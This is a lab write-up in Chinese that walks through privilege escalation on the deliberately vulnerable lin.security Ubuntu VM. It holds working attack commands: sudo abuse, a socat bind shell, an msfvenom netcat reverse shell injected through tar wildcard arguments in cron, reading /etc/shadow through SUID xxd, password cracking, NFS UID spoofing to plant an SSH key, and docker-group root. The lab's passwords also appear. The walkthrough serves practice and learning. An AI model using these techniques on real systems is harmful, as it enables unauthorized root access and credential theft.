靶机描述
在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。 首先,您可以使用以下凭据登录主机:bob / secret
下载地址:https://in.security/downloads/lin.security_v1.0.ova 靶机IP:192.168.56.106
直接ssh连接: ssh bob@192.168.56.106  id查看用户id以及所属群组id:

超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。
普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。
虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求
我们并不是root权限 下面就开始提权吧
提权
1. sudo提权
sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行 配置文件是/etc/sudoers
sudo -l 查看支持root权限的命令
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bi
User bob may run the following commands on linsecurity:
(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bi
/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin
/usr/bin/script, /usr/bin/scp

这边https://gtfobins.github.io/参考这个学习github里面很多讲解sudo下的提权… 只要是sudo -l 中/user/bin/目录下的形式都有方法提权
2. socat提权
在服务端建立一个端口1234的shell
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

连接,在本地机器启动本地的1234端口LISTEN:
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234

3. /etc/passwd哈希
linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中
比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上
3.1 /etc/passwd/
普通用户权限能够查看
保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分
1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型
我们先查看一下,找到了一个超级权限用户,并显示了加密后的密码: 
去网站解密: 
获得密码P@ssw0rd!

3.2 /etc/shadow/
只有root用户权限能够查看
保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分
1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值
sudo man /etc/shadow

4. crontab定时任务
cron的攻击方法:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
crontab文件格式
* * * * * command
分 时 日 月 周 命令
第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令
查看定时任务: cat /etc/crontab 
在kali上生成payload的命令:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.106 lport=9999 R
生成的payload:
mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv

接下来在靶机上运行:
echo "mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
已经接收到反弹shell: 
5. 敏感隐藏文件
find查找所有隐藏文件:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
 查看文件,得到susan账户的密码: 
6. suid提权
查找 suid权限文件的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
xxd提权 
xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权
1.首先查看组信息,itservices组具有执行权限 查看到用户susan属于itservices用户组:
cat /etc/group | grep itservices
 切换为susan用户执行命令查看/etc/shadow/文件:
xxd "/etc/shadow" |xxd -r
将用户和密码复制到文档中,使用john命令可以爆破密码  taskset执行bash
taskset 1 /bin/bash -p

7. NFS服务低权限访问
 NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049 端口,对应nfs服务.
查看可以访问的 nfs 目录
showmount -e 192.168.56.106
 #挂载peter home目录:  尝试在挂载的目录里创建文件,提示权限不够
即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者
原理为:在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005

 现在我们就有了写文件的权限
写入ssh公钥
ssh-keygen
peter@kali:/mnt/peter$ mkdir .ssh
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys
peter@kali:/mnt/peter/ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys

8. docker组提权
peter用户属于docker组,docker组的成员,那么可以根据此漏洞来获取root的shell https://fosterelli.co/privilege-escalation-via-docker.html 
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

失败了,但看了其他大佬的博客,有成功的,暂时还不清楚什么原因,就先总结到这里! 
|